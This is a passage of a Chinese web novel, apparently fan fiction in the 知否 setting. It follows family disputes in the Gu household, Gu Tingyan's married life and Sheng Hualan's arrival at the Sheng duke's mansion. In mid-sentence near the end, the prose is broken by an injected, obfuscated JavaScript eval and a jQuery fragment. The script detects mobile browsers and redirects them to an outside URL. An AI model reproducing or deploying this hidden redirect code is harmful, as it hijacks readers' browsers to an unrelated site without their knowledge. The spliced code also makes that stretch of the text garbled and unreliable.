顾家五房太太没敢还手和反驳,毕竟她母亲是上了年纪的人,她不敢有什么大动作,只能站着挨打不动。 顾家五房太太的母亲瞧着她这般样子,气不打一处来道:“往日你在家做姑娘时,我们念着你以后嫁到婆家怕是比不得在娘家舒坦,便对你十分疼爱,你的兄姐也因着你年幼对你多加忍让,没成想竟让你养成这般性子,那端淑县主是你妯娌,不是你娘或你兄姐,要依着你的性子来,我知道你瞧不上端淑县主的出身,但英雄不问出处,端淑县主好运道碰上了盛国公夫妇这般对她疼爱有加的兄嫂,如今又有盛老夫人这个干娘给她撑腰,哪里是你能比得过的,以前你回娘家说端淑县主那些个话,我们是顾及着你的心情才没说什么,要我们说,当嫂嫂当成端淑县主这般的已实属少见了,谁家大哥哥大嫂嫂还养着分家的弟弟弟媳呢,更何况你每次回门时带的东西,端淑县主明明可以不上心,随便应付了事,也剩些银钱,但人家哪次不是备了厚礼让你带回娘家充面子的,就这样,你还要给端淑县主找茬惹事,你就不能学学你那四嫂嫂嘛。” 顾家五房太太脸上浮现出一抹冷笑,语气中满是不屑的意味,道:“那白滢婷惯会装样子,我才不要学四房那个不要脸的去讨好白滢婷呢,再说了,何该大房养我们,当初我那公公分家时就不公,凭什么大房分得五成啊!大房本就占了家中的爵位、祖产、功勋田,又比我们两房多分得三成,凭什么,就凭她白滢婷难产受了委屈,谁家妇人生孩子时不是相当于去鬼门关走一遭啊!她白滢婷金贵,难产一次就是我们顾家照顾不周,偏要回一趟娘家修养到公公婆婆去请回来。” 顾家五房太太如今只要对上白滢婷的事情就全无智商,满脑子都是白滢婷的错处,好在她母亲还有些脑子,她也曾听自家姑娘提起过,说实在的,她总觉得白滢婷难产有猫腻,但是顾盛两家都将这件事情揭过去了,她们这些外人也不好再说什么,她看着自家有些魔怔的姑娘,语气中带着些许羞愧,道:“你快闭嘴吧,你公公哪是因为端淑县主难产才分的五成给大房,外人不知道,我们这些姻亲还不知道嘛,端淑县主那嫁妆银子都给你们顾家填窟窿去了,人家盛国公夫妇和白家老爷大气不说什么,但你公公不能真的什么都不表示一下吧,说到底要不是有端淑县主的嫁妆银子兜底,你现下还不一定有顾家这两成家产分呢,我怎么会教出你这般不知羞耻的女儿啊!” 顾家五房太太的母亲瞧着自家女儿到现在还是一副死不悔改的样子,咬着牙,道:“你可知姑爷在信中说要不是念及两个哥儿的名声,他早就休妻了,如今怕是要将你送去庄子上修养,你父亲现下正劝着姑爷呢,你若是这般样子,我瞧着你父亲也不用多费什么口舌了。” 顾家五房太太瞪大双眼,不可置信道:“怎么,这怎么可能呢?他不敢这么做的,我若是去了庄子,家中的田产铺子谁来打理呢?再说了,他那么要面子的一个人,怎么敢让炀儿的大娘子看我的笑话呢。” 顾家五房太太的母亲,语气中带着些许无奈,道:“怎么不可能,你如今将姑爷的面子全都丢尽了,又得罪了顾家六姑娘,你官人的嫡亲妹妹,等你到庄子上,人家八成就能给自家哥哥找个知书达礼、身世清白的贵妾,若那贵妾是个能干的,还能帮着打理家中中馈和照顾自己哥哥、侄子侄女,你在庄子上待多久还不一定呢。” 顾家五房太太满眼惊恐的抓着自家母亲的衣袖,语气颤抖,道:“母亲,母亲你要帮我啊!我不能去庄子上,我在官人心中本就没什么份量,若是离开了顾家后,官人身边又多了个贵妾,那怕是真要老死在庄子上了啊!母亲,你向来是疼我的,你一定要帮帮我啊!” 顾家五房太太的母亲眼中闪过一丝心疼,语气中满是无奈的意味,道:“我自是疼你的,若不是为了帮你,我和你父亲何苦来顾家呢,可你这副死不悔改的样子实在让我担忧啊!你是我身上掉下来的一块肉,我怎么可能猜不出你的想法,怕是等这件事情解决了,你仍会继续找端淑县主的麻烦。” 顾家五房太太的母亲说到这里,眼中闪过一丝决绝,道:“女儿,这是我和你父亲最后一次拉下脸来帮你了,如今你哥哥姐姐也是有女儿的人,不能为着你一个人毁了全家的名声,我现下去找端淑县主赔礼道歉,你父亲那边也尽力改变姑爷的想法,其他的就只能尽人事听天命了。” 顾家五房太太的母亲说完,便起身离去,全然不看自家女儿那满脸的惊愕,而盛老太太此时正在白滢婷这边。 常嬷嬷在得知顾家五房太太的父亲母亲来顾家时就派人去信给盛老太太,怕的是白滢婷应付不过来,毕竟以这两位老人的年纪,若是倚老卖老,白滢婷可真没法子应付,而盛老太太就不一样了,她本就是勇毅侯府独女出身,现又多了个一品诰命夫人的头衔,谁都要给她三分面子的,再说了,辈分相同才好说话嘛。 盛老太太已经从白滢婷口中得知事情的来龙去脉,她拉着白滢婷的手,轻声道:“这件事情说破天去也是我们在理,若是他们家想要蹬鼻子上脸,我们也是不怕的。” 盛老太太正想和白滢婷继续说下去时,一个丫鬟进来恭谨的给白滢婷和盛老太太行礼,道:“盛老夫人、大娘子,五房大娘子的娘家老太太在外面说是要见大娘子一面。” 白滢婷看了一眼盛老太太后,她的神情回归到平淡的状态,语气中听不出什么情绪,道:“将人请进来吧。” 那个丫鬟闻言就退了出去,没多久,她就带着一位白发苍苍的老夫人进入屋内后又退了下去,而那位老夫人瞧见盛老太太时,眼中闪过一丝惊讶,瞧着是看出盛老太太的身份了,她心里暗暗想道:“既然盛老太太都在这了,也不好对端淑县主做些什么。” 顾家五房太太的母亲脸上浮现出一抹笑容,直言道:“盛老夫人妆安,我早就听我家女儿说县主待她极好,先前一直想找个时间来拜访县主以示感谢,可惜都没有什么时间,正巧近几日有闲暇时间,再加上听闻贵府姑娘不久就要出嫁了,便打算近几日上门来拜访顺带给姑娘添妆,没成想我那蠢笨的女儿居然做出这样的事情,这是让我羞愧万分啊!因此,今日特地登门致歉,还望县主大人有大量就原谅她这一次吧。” 顾家五房太太的母亲说着便要给白滢婷行大礼,就在这时,盛老太太神情严肃,语气淡然,道:“这位夫人同我一般都是上了年纪的人,婷儿哪当的起你的大礼啊!再说了,若是夫人你真给婷儿行了如此大礼,以后要是传出去,知道的是夫人你诚心道歉,不知道的还以为我家婷儿故意刁难你一个老人家呢,您还是快坐吧。” 顾家五房太太的母亲眼中闪过一丝尴尬,随即调整心态和动作,道:“盛老夫人说的是,是我思虑不周了。” 顾家五房太太的母亲说完便按着盛老太太的话坐下,她瞧着这场面,今日这件事情八成是要和盛老太太谈了,于是她眼中闪过一丝苦笑,继续道:“盛老太太,县主,我也知道小女这次做的实在是过分,不过,她到底给顾家生了两个儿子,如今又有了媳妇,不好真让她媳妇看她笑话吧,再者,我这个女儿从小就没受过什么苦,若是真将她赶去庄子上,她怕是受不了啊!” 盛老太太闻言,嘴角微微弯起,语气中带着些许嘲讽的意味,道:“这位夫人真是慈母心啊!可是我家婷儿已经不是第一次忍让你女儿了,我们且不说她先前找了婷儿多少麻烦,就说我之前来顾家给烟姐儿添妆时,她一点脸面都不给婷儿,直接当着我的面指桑骂槐,被我说了一通后,原想着她会收敛些,没曾想居然还变本加厉做出这等子不要脸的事情,可见你家女儿就没打算改。” 顾家五房太太的母亲眼中闪过一丝无奈,轻声细语,道:“盛老夫人,我知道自家女儿心气高,加之先前在家中生活时,我与官人对她疼爱有加,她兄姐对她多有谦让,便养成了事事都要如她意的性子,我若保证她一定会改,盛老夫人也必定不会相信的,不过,我已告诫她如若再犯必将严惩,想必她也会收敛些的。” 盛老太太对顾家五房太太的母亲的话嗤之以鼻,她面色淡然,道:“这位夫人说的是,不过这件事情也不是我家婷儿说得算的,毕竟顾家已经分家了,正如你女儿先前说的,我家婷儿是大房的人,哪能插手顾家五房的事情呢,你与其在这里和我家婷儿多费口舌,还不如去劝劝顾家五老爷,这才是正道。” 白滢婷瞧着顾家五房太太的母亲一把年纪了还为顾家五房太太收拾烂摊子,忍不住出言道:“老夫人,顾家早已分家,如今合府居住,四房五房的开销都是走大房的公账,那是我家官人疼爱弟弟们,我也随着官人的意,从未抱怨什么,这些年五弟妹时常找我麻烦,我能忍则忍,不能忍也顶多说她两句,从未真正的去报复她,说句实在的,我是她大嫂嫂,不是她父亲母亲、兄弟姐妹,我能做到这个份上已经是尽到自己本分了,若不是她这次将主意打到了烟姐儿身上,我也就忍了,您也是一个母亲,您扪心自问,若是有人在你女儿未出嫁时就给她未来夫婿塞个莺莺燕燕的妾侍,您是什么感觉。” 白滢婷看着顾家五房太太的母亲脸上浮现出些许羞愧的神情,继续道:“我也不想为难您什么,这件事情正如我干娘所说,她们五房的事情,她们五房自己解决,我绝不干涉,若是老夫人你没事的话,恕我没有心情继续接待您了。” 顾家五房太太的母亲在心里叹了口气,随即接过她身边丫鬟手中的盒子放在桌子上,道:“感谢县主这些年来对小女的宽容之心,我就不强人所难了,这是我给烟姐儿的添妆,算是为我自己教女不严给烟姐儿带来的麻烦赔礼道歉,还望县主收下。” 顾家五房太太的母亲说完就径直离开了,独留盛老太太和白滢婷在屋内,而顾家五老爷和自己岳父最终商定将顾家五房太太送去汴州城外的一处庄子上修养三年再回来,算是给顾家五房太太一个教训,而顾家五房太太在外这三年,顾家五房的家产交由顾廷炀的大娘子来打理,这件事情也算是落下眉目了。 没过多久,顾廷烟的嫁妆就如流水一般抬入了何家,接着五天后,她便与何家公子成婚了,不过,秦伯夫人在参加顾廷烟婚礼时的 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王若弗为了盛华兰的及笄礼,特意从京城第一珠翠楼定制了一套头面首饰,而身为外祖母的王老太太也不甘示弱的给自己外孙女定制了一条刺绣是流觞绣的襦裙,盛华兰穿着这条襦裙走动起来,上面的每一条纹路仿佛都会动似,至于及笄礼上用的簪子,王若弗打算用盛老太太和盛瑾送的三支簪子中的那支碧玉七宝玲珑簪,以展现盛瑾这个国公爷和盛老太太这一品诰命夫人对盛华兰的重视。 在盛华兰及笄礼的当天,扬州城里大户人家的大娘子都到了,盛家门口光是轿子就排了两排,王若弗怕外客热,还一口气买了几十车冰块镇着,流水价的往里送冰碗子,盛纮也特意回府观礼。 在盛华兰的及笄礼上的那支碧玉七宝玲珑簪可是出了大风头,任谁都能看出这支簪子价值不菲,连知州的大娘子都赞赏不易,这一打听,还是国公爷和一品诰命夫人送的,而且不止送了这一支簪子,瞬间觉得盛华兰这个侄女在盛瑾和盛老太太心中还是有些份量的,这不,虽然国公爷和盛老太太不能参加侄女孙女的及笄礼,但是给她送了重礼,随即盛华兰得到了一众大娘子的夸奖,一时间盛华兰风头无限。 王若弗心里乐的不行,对刘妈妈当初的话深有体会啊!很快盛华兰的及笄礼就完成了,而后王若弗立刻将无限的热情投入到寻找大女婿的工作上去了,时不时还要和盛纮交流一下意见,每当盛华兰听到自己父母讨论自己婚事时,她便会一脸娇羞的掩面回屋。 对于盛华兰的婚事,盛纮比王若弗还要重视,不仅仅因为盛华兰是他最疼爱的孩子,还是他的嫡长女,在古代大家族中嫡长女的婚事如何,对余下的女儿们的婚事也多少有些影响,再加上如今盛家因着盛瑾这个国公爷的身份兼少师这个职位成了勋爵之家,门第也提高了不少,在世人眼中,盛家女儿们的婚姻价值提高了不少,他又怎么会不明白呢。 盛纮心里十分清楚有不少人是冲着盛瑾的势力来的,在盛瑾的嫡长女盛明兰还未长成之前,他的女儿们就是不错的选择,再者他的女儿虽只是盛瑾的侄女,但侄女与侄女之间是存在差别的,在盛老太太膝下长大的盛华兰便是一个不错的选择,毕竟本朝是以孝治天下的,盛老太太疼爱盛华兰,盛瑾便会待这个侄女不一样,因此他对盛华兰的婚事是慎重慎重再慎重,不过,他在先前去汴州城就已经看好一户人家了,只是不知道这户人家还会不会上门提亲呢。 盛纮看着如今充满精力的王若弗,心里暗道:“现下也不管这户人家会不会上门提亲,如今当务之急是将华儿送往汴州城。”于是他便直接开口告诉王若弗此事。 王若弗瞪大双眼,语气中满是不情愿的意味,道:“官人,华儿在家中的时间不过两三年,等她嫁人后,我就不能时常见到她了,你就不能让她在这段时间内待在我身边嘛。” 盛纮眼中闪过一丝不舍,语气中带着些许坚定的意味,道:“这也是没法子的,娘子你想啊!若是华儿和我们在扬州城待着如何找得到汴州城的好婆家呢?二哥哥前些日子来信说我政绩不错,再在扬州城待个几年就能升任汴州城了,难不成你想给华儿找个扬州城的婆家嘛。” 王若弗猛地摇头,语气中满是不愿的意味,道:“扬州城再怎么繁华也比不上汴州城这种天子脚下的地方,再说了,等官人升任汴州城后,我们大抵是不会再离开汴州城的,扬州城和汴州城的距离也不算短,若是华儿找个扬州城的婆家,那我不是更见不到华儿了嘛,万一华儿被婆家欺负了也无娘家可告啊!不成,不成。” 盛纮循循善诱道:“娘子说的在理啊!这女儿嫁了人本就不能时常回娘家,若是娘家和婆家距离远了,那原本见面的次数不是更少了嘛,况且华儿去汴州城也是有好处的,母亲在汴州城本就有些名气,如今又被封为一品诰命夫人,那些个有些交集的大娘子少不得要登门拜访一下母亲,若是华儿跟在母亲身边被那家大娘子瞧上了,你说我们华儿是不是有了更多的选择呢?” 王若弗眼中带着些许不舍,语气略带些许迟疑,道:“官人说的是,可丰国公府到底不是我们家,我怕华儿寄人篱下过得不好。” 盛纮脸上浮现出些许责怪的表情,道:“我的大娘子啊!你这说的什么话啊!那丰国公府的主人是二哥哥和母亲,二哥哥那样的人能欺负了华儿去嘛,再说了,丰国公府的后宅和中馈如今握在母亲手上,华儿到底是在母亲身边长大的,母亲向来疼爱华儿,哪里会让华儿受委屈呢,娘子你真是多心了。” 王若弗听着盛纮的话,本来不是很坚定的内心动摇了,她犹豫片刻,语气中带着些许不舍,道:“只要是对华儿好,我就依着官人的意思了。”而盛纮闻言,心里高兴极了,他抱着王若弗安抚了好一会儿后就安排盛华兰去往汴州城了。 67.第 67 章 清晨,宁远侯府白滢婷的院内,白滢婷瞧着顾廷烟的脸色很是不错,语气柔和,道:“瞧着烟姐儿你如今的样子,想来在何家过的不错。” 顾廷烟闻言,脸上浮现一抹羞红,道:“母亲说的是,公公婆婆待我极好,两位嫂嫂也是个厚道人,我又是最小的媳妇,家中事务落不到我头上,整日无事清闲,再加上官人每日都会带些外面的糕点给我,便养的有些圆润了。” 白滢婷脸上浮现出一抹淡淡的微笑,轻声细语,道:“瞧你现在的日子过得比我和你小娘有滋味,我这心里也欣慰许多,不过,你需记得真心换真心,既然何家的人对你不错,那你也要待她们真诚些,再把礼数做周全了,让人挑不出什么毛病来,这样你在何家往后的日子也能保持现在这般舒心。” 顾廷烟微微点头,语气中带着些许亲近的意味,道:“母亲,您放心吧,我会好好与何家人相处的,不会辜负你和外祖母的一番好意。” 白滢婷闻言,嘴角微微弯起,端起桌上的茶杯抿了一口后,放下茶杯,道:“我对烟姐儿你自是放心的,只是忍不住多叮嘱两句,当然,若是烟姐儿你在何家受了委屈,只要理在我们这,我也是会上何家为你讨个公道的。” 白滢婷瞧着顾廷烟的神情带着些许感动,突然想到了一件事情,语气中带着些许笑意,道:“对了,烟姐儿你还记得给你添妆的盛纮舅舅嘛。” 顾廷烟思考了一下给她添妆的名单,没一会儿便回忆起盛纮的名字,眼神中带着些许疑惑,道:“记得,母亲为何提起盛纮舅舅呢?” 白滢婷想起盛华兰的模样,语气柔和,道:“你盛纮舅舅有个嫡长女名为盛华兰,今年刚及笄,姑娘及笄后能在娘家的日子也不过两三年,前些日子,我回了一趟丰国公府,你外祖母同我说,你盛纮舅舅念着华姐儿在娘家的日子也不过两三年,又是在你外祖母膝下长大的,况且你外祖母也许久未见过华姐儿,便想着让华姐儿在你外祖母身边尽尽孝心,估计要不了多久,这华姐儿就要到汴州城了,你可要同我一起去见见这位华姐儿嘛。” 顾廷烟脸上浮现出一抹笑容,语气中带着些许俏皮的意味,道:“瞧母亲说的,外祖母这般疼爱我,如今外家要来个表妹,我这个当表姐的自是要见一见的,更何况盛纮舅舅和舅母可给我添了不少好东西,我也得给这位表妹准备些见面礼才是。” 白滢婷瞧着顾廷烟这般灵动活泼的样子,语气中带着些许笑意,道:“烟姐儿,你就不必给你表妹准备什么东西了,我这个当母亲的自会准备好,你的嫁妆虽丰厚,但还是要好好打理、节省的,毕竟何家家底不厚,你以后少不得要为姑爷的仕途出些力,再者,待你有了孩子后,这孩子的嫁娶哪样不需要银钱啊!你往后有的是使银子的地方,如今莫要乱花银钱。” 顾廷烟心里一暖,语气轻柔,道:“母亲,我又不是小孩子了,自然知道什么该花什么不该花,我知道母亲疼我,不过,这给表妹的见面礼,我还是要准备的,毕竟盛纮舅舅和舅母待我也不薄,不过,母亲放心,我可不会打着脸充胖子给表妹准备什么稀世珍宝。”她最后一句是用玩笑的口吻说出来的。 白滢婷瞧着顾廷烟这般,莞尔一笑,道:“好好好,既然你有心,我也不好再多加阻拦什么了,瞧着这时间也不早了,正好你去和你小娘见一面,说些体己话吧,让她看着你也能放心不少。” 顾廷烟起身给白滢婷行了一礼,道了声“多谢,母亲。”后,便离开白滢婷的院子往邱小娘的院子走去,不一会儿,她便来到了邱小娘屋外,一进屋就瞧见邱小娘在绣香包。 邱小娘抬头瞧见顾廷烟,放下手中的香包起身,满脸欣喜的朝顾廷烟走去,等她走到顾廷烟面前,便上手拉着顾廷烟左看右看的,一边看,一边道:“不错,不错,烟儿你瞧着比原先胖了些,不过这样的身段刚刚好。” 邱小娘看够后,才拉着顾廷烟坐下,她的神情十分满意,道:“如今瞧着烟儿你这般,我对何家这门亲事是实打实的满意了,对了,烟儿,大娘子都和你说了什么呢。” 顾廷烟闻言将她与白滢婷的对话一五一十的告诉了邱小娘,最后补充道:“小娘,我打算从嫁妆中挑几件宝石成色极好的首饰送去珠翠楼,让珠翠楼将这些个首饰融了,重新给华兰表妹打两件极好的首饰当见面礼。” 邱小娘微微点了点头,附和道:“这是应该的,到底是在盛老夫人膝下长大的,何该重视些,毕竟大娘子和盛老夫人对我们母女两个情深义重。” 顾廷烟脸上带着些许笑意,语气柔和,道:“小娘说得对,我也是这般想的,对了,小娘,我先前给侄女送了几件适合小姑娘的首饰,大嫂嫂瞧着这些个首饰贵重,便给了我一块拳头大小的上好羊脂玉料,我找了个玉匠将其雕刻出两个玉佩,到时候一块给表妹和表弟送去。” 邱小娘自然知道顾廷烟说的表妹表弟指的是盛明兰和盛长安,她嘴角微微弯起,用手指了指篮子中的虎头鞋和扇子,道:“正好,我给安哥儿明姐儿做得虎头鞋和扇子也好了,烟姐儿你到时候帮我一起送去吧,说起来距离我上次见到安哥儿和明姐儿也有些时日了,我真是有些思念他们了。” 顾廷烟每每去丰国公府都会和盛明兰待在一块,有时还会遇上盛长安,这两个孩子长的本来就好,待人处事方面也是极好的,虽然身份尊贵,但从未自持身份去瞧不起他人,上次他们随盛老太太来顾家,莲儿带他们来找她时,正好她与邱小娘待在一块,他们见到邱小娘不仅乖乖巧巧的行礼问好,盛长安还甜言蜜语的哄得邱小娘留下同他们一起玩耍。 顾廷烟想起那日盛明兰悄悄塞给她的盒子,说是她给她的添妆,不禁莞尔一笑,巴掌大的盒子里全是金子,塞得满满当当的可实沉了,人的十根手指尚有长短,比起素未蒙面的盛华兰,显然她的心更偏向盛明兰和盛长安,当然,不止她偏心与盛明兰姐弟,连带着邱小娘也偏心于他们,只见邱小娘对着顾廷烟,喃喃道:“前些天,我本来是想用新得的那两匹上好的锦缎给安哥儿和明姐儿亲自绣身衣裳,可我后来想了一下,我这绣工虽不错,但也比不得外面专靠此谋生的绣娘,更何况小孩子一天一个样,我怕做出来不合身便打消了这个想法,改给他们做虎头鞋和扇子了。” 邱小娘说到这里,目光柔和,语气中带着一丝喜爱,道:“我瞧着安哥儿和明姐儿,这心里就十分喜爱,尤其是安哥儿那小嘴跟涂了蜜似的,可惜,也不知道他们什么时候再来一趟顾家,不过,不来也好,这顾家是非多,没得哪天冲撞了两个孩子。” 邱小娘对着顾廷烟一脸唏嘘的表情,轻声道:“烟儿,你还记得那个叫杏雨的女使嘛,就是五房的大娘子当初想塞给你当陪嫁女使的人。” 顾廷烟听到邱小娘提起这个人,马上就有了印象,虽然她从未见过那个叫杏雨的丫鬟,但能被顾家五房太太塞过来恶心她和白滢婷的丫鬟也不是什么老实的,她微微点了点头,道:“小娘,我记得,你为什么会提起她呢?” 邱小娘脸上浮现出些许庆幸的表情,道:“好在大娘子给你拒绝了这个杏雨,我和你说这个杏雨就不是什么安分的人,她不知怎么的和四房那位老爷好上了,当然,这也不是什么稀奇的事情,可好巧不巧的是前段日子五房的炀哥儿撞见了她和四老爷的好事,那炀哥儿也是个混不吝色的,居然要上手打四老爷,好在四老爷躲了一下,再加上身旁有小厮拦着这才没闹出个小辈打长辈的笑话,只不过到底是让主君和五老爷知道了。” 邱小娘说到这里,脸上带着些许厌恶的表情,道:“主君和五老爷对这件事彻查后,才知道这杏雨早就和炀哥儿好上了,这也是先前五房的大娘子为什么选她给你当陪嫁女使的原因,没曾想大娘子不同意收她,四老爷却在那日瞧上了她,正好她如今在五房的境遇也不好,而且炀哥儿远没有四老爷有银子且大方,便半推半就的从了四老爷,如今东窗事发,她居然还想用怀孕来要挟家中的主君们,好在主君们还有些脑子,知道这怀孕不是她张口闭口就能有的,找了个口风严实的郎中过来给她把脉,结果她不是怀孕,而是因气候问题导致的食欲不振,本来炀哥儿的大娘子是想要打死杏雨,以儆效尤,可是炀哥儿和四老爷都不太愿意,不过他们在主君和五老爷的强硬下,最终同意将杏雨送到五房的大娘子身边由她来严加看管。” 顾廷烟眼中闪过一丝庆幸,道:“好在母亲没有同意,且不说这杏雨惹事的能力,单单是我给官人找一个跟过堂兄的妾侍,那何家再怎么不如我们顾家也是会有气性的。” 邱小娘叹了口气,道:“谁说不是啊!不过,那杏雨惹出这种事后被送去五房的大娘子身边怕是不会好过啊!其实若杏雨老老实实跟着四老爷或是炀哥儿其中一人也不会有这桩子事,四房的大娘子和炀哥儿的大娘子都不是什么刻薄的人,若是她老老实实的,以后未必不能被抬为妾侍,但说到底能当正头娘子,谁想当妾啊!” 顾廷烟知道邱小娘八成想起过去的事情了,随即拉着邱小娘的手转移话题,道:“小娘,我们莫管别人的事情了,我给你说说我在何家的趣事吧。” 邱小娘闻言瞬间收回了发散的思绪,一心一意听着顾廷烟说的趣事,时不时还发出一声轻笑,屋内气氛一片和谐。 日子就这样一天天的过去了,眨眼间,盛华兰便到了汴州城,而她一下船就被盛老太太安排的小厮接到了丰国公府。 盛华兰一边随着丫鬟前往盛老太太的院子,一边悄悄打量着丰国公府的一切,心里不禁感慨道:“这丰国公府真大啊!装饰布置也精致。”过了一会儿,她便见到了盛老太太和盛明兰。 盛华兰一见到盛老太太就行礼问安,而盛老太太瞧着盛华兰那偏向盛纮的外貌,明媚秀美,眉宇间英气勃勃,语气中带着些许亲近,道:“好好好,我家华儿如今也长成了大姑娘,快过来让我好好瞧瞧。” 盛华兰闻言,便大步向前走到盛老太太身边,而盛老太太看了好一会儿,才让盛华兰坐下,她待盛华兰坐好后,语气柔和,道:“你父亲也真是的,居然让你一个姑娘家的独自来汴州城。” 盛华兰眼含笑意,语气中带着些许亲切的意味,道:“祖母,这不怪父亲,父亲公务繁忙,母亲要打理家中事务,弟弟们还小,没人能陪我一同来汴州城,只能多派些小厮护送我了,更何况是我自己想念祖母才来的汴州城。” 盛老太太闻言,笑了笑,而她身旁的盛明兰满脸笑容的给盛华兰行了一礼,道:“华兰姐姐,妆安。” 盛华兰起身给盛明兰行了一礼,语气柔和,道:“明兰妹妹,妆安。”随即便坐了下来,她从刚才进门就看到盛明兰了,说句实在的,她差点认不出盛明兰,不仅仅是盛明兰的外貌发生了变化,还有那一身贵气,可见盛老太太和盛瑾将盛明兰养的很好。 盛明兰坐在盛老太太身旁,脸上的笑容十分灿烂,道:“祖母,华兰姐姐真好看,等弟弟见到华兰姐姐肯定会十分高兴的,祖母,我能经常去找华兰姐姐聊天吗?” 盛老太太摸了摸盛明兰的小脑袋,语气中满是宠溺,道:“你啊!就知道拿你弟弟来说事,我看是你见了漂亮姐姐心里欢喜吧。” 盛老太太瞧着盛明兰被戳破也不脸红的样子,嘴角微微弯起,道:“你和你华兰姐姐是姐妹,当然能亲近些了,不过,你华兰姐姐一路舟车劳顿的,可受不了你的折腾,你且先让她休息一天吧。” 盛明兰对于盛老太太的话没有什么不满,她脸上带着些许俏皮的表情,道:“祖母,我最是体贴人了,那会折腾华兰姐姐啊!你莫要在华兰姐姐面前坏我名声。” 盛老太太捏了捏盛明兰的小脸蛋,目光转到盛华兰身上,用手指了指盛明兰,语气中带着些许打趣的意味,道:“华儿,你瞧瞧你这妹妹,你二伯父每日带在身边教导,这嘴皮子越发厉害了。” 盛华兰眉眼弯弯,语气中带着些许笑意,道:“瞧祖母说的,我看明兰妹妹很是知理啊!再说,祖母你不也喜欢明兰妹妹这般肆意洒脱嘛。” 盛老太太看了一眼盛华兰,又看了一眼盛明兰,语气中带着些许调笑的意味,道:“这还没相处呢,就这般护着明儿了,明儿你可是多了个好姐姐啊!不过,你好姐姐顶多再护你几年就是别人家的了。” 盛明兰虽然只有七岁,但古代孩子早熟,再加上男女七岁不同席,她还是隐约知道一些嫁娶之类的事情,她目光中带着些许好奇,道:“哪家能配得上这么好的姐姐呢?” 盛老太太看了眼盛华兰脸上的羞红表情,语气中带着些许笑意,道:“祖母现下可不知道,不过,或许要不了多久就知道了,这也未曾可知。” 盛老太太没有骗盛明兰,盛华兰的婚事是由盛纮和王若弗决定的,她不能也不可以插手,不过,好在盛纮最是宠爱盛华兰,再加上盛华兰是嫡长女的身份,因而盛华兰的夫婿必定会是精挑细选的。 盛明兰闻言,眼中闪过一丝失落,不过没多久,她又满脸笑意,道:“我还以为祖母知道呢,不过,姐姐这般好定能有个好官人的。” 盛明兰的童言童语让盛华兰本就有些羞红的脸变得通红起来,她现下恨不得地上有个洞转进去,盛老太太见状也不好在打趣盛华兰了,随即嘱咐了她好好休息之类的话后,就让丫鬟带着她去早已准备好的院子休息了。 等到了用晚膳时,盛华兰也见到了盛瑾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666926|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、盛长安、盛长梁,盛瑾在用完膳后与盛华兰说了几句拿这里当家里一般、若是什么事情或需要什么只管找他和盛老太太处理之类的话,没过多久,盛老太太有些乏了,大家便都散了。 第二天清晨,一个丫鬟来到盛华兰的院子,她面带得体的微笑,恭谨的给盛华兰行了一礼,道:“奴婢翠蝉,本是老太太身边的内宅二等女使,老太太担心姑娘不能适应府中的生活,便让奴婢以后过来伺候姑娘。” 翠蝉说着从腰间取下一个荷包,递给盛华兰身边的彩簪,待彩簪接过荷包后,她面带微笑的继续道:“姑娘,这里是你本月的月钱七两银子,老太太让奴婢拿过来给姑娘,另外,老太太已经派人去找了珠翠楼和绣岳坊的掌柜们,下午他们会带着首饰布匹上门供姑娘挑选,按照府中的规矩,姑娘你每月可挑选两件新衣裳和一件首饰,老太太还让奴婢告诉姑娘你今天就好好休息,在府中和家中一般,无需多礼。” 盛华兰瞧着和她一般大的姑娘,言行举止皆是上乘,身上的气场远不是她身边的彩簪可以比拟的,便知这是盛老太太精挑细来照顾她的丫鬟,因而她脸上浮现出一抹笑容,语气柔和,道:“那就劳烦翠蝉你给我讲讲这府中的事情吧。” 翠蝉自然知道盛华兰想要听什么,她脸上的表情没有丝毫变化的讲述着一些府中的事情,其中包含了一些府中的规矩事务,例如:府中每顿用膳份额为五菜一汤,糕点样式每日有三种,饮品有每日两种,当季水果按种类分配,每个主子可选三碟,当然,若是主子们想要超出份额的东西就要自己掏银子去买了;家中哥儿姐儿身边的二等女使不得超过两个,每个院子配备五个三等女使,贴身丫鬟按本身的等级获得相应的月钱,府中女使的等级都是需要考核的,每年考核一次,小厮也是一样的,一等女使只有老太太和大娘子那边才有,当然,若是老太太或大娘子将人给了姑娘哥儿,这位一等女使仍占用的是老太太或大娘子身边的名额,不仅是一等女使,还有在老太太身边待久了的房嬷嬷或是大娘子身边用惯的老人,他们的月钱又是另一种算法了;府中国公爷和老太太喜静,因而极少举办宴会…… 翠蝉说了好一会儿后,补充道:“老太太和国公爷说了姑娘带来的贴身女使,在府中女使考核前先按着二等女使的分例领月钱,之后管家会派人在这些日子里教导姑娘身边的女使府中的规矩,待府中女使的考核结束后,便按着女使等级领月钱。” 盛华兰听着翠蝉的话,大抵对这府中的事情有了些许了解,按着盛瑾和盛老太太的态度,估计两府合并后,她们这房的所有丫鬟小厮都要考核,她对此没有任何不满,道:“既然住在府中,那何该按府里的规矩行事。” 一个丫鬟提着一个食盒走进来,她对着盛华兰行了一礼,道:“姑娘,这是二姑娘那边派人送来的盈果铺子的糕点,二姑娘说府中今日的糕点只有广寒糕、枣花酥、松子糕,远不如盈果铺子的蜜浮酥柰花和海棠酥好吃,她今个派人去买时多买了些给姑娘尝尝看是不是比府中的糕点好吃许多。” 盛华兰用眼神示意彩簪接过那个丫鬟手中的食盒后,那个丫鬟便退了下去,而彩簪则是将食盒放在桌上,打开食盒取出里面的糕点,放在盛华兰面前,轻声道:“姑娘,这些个糕点看起来真精致啊!” 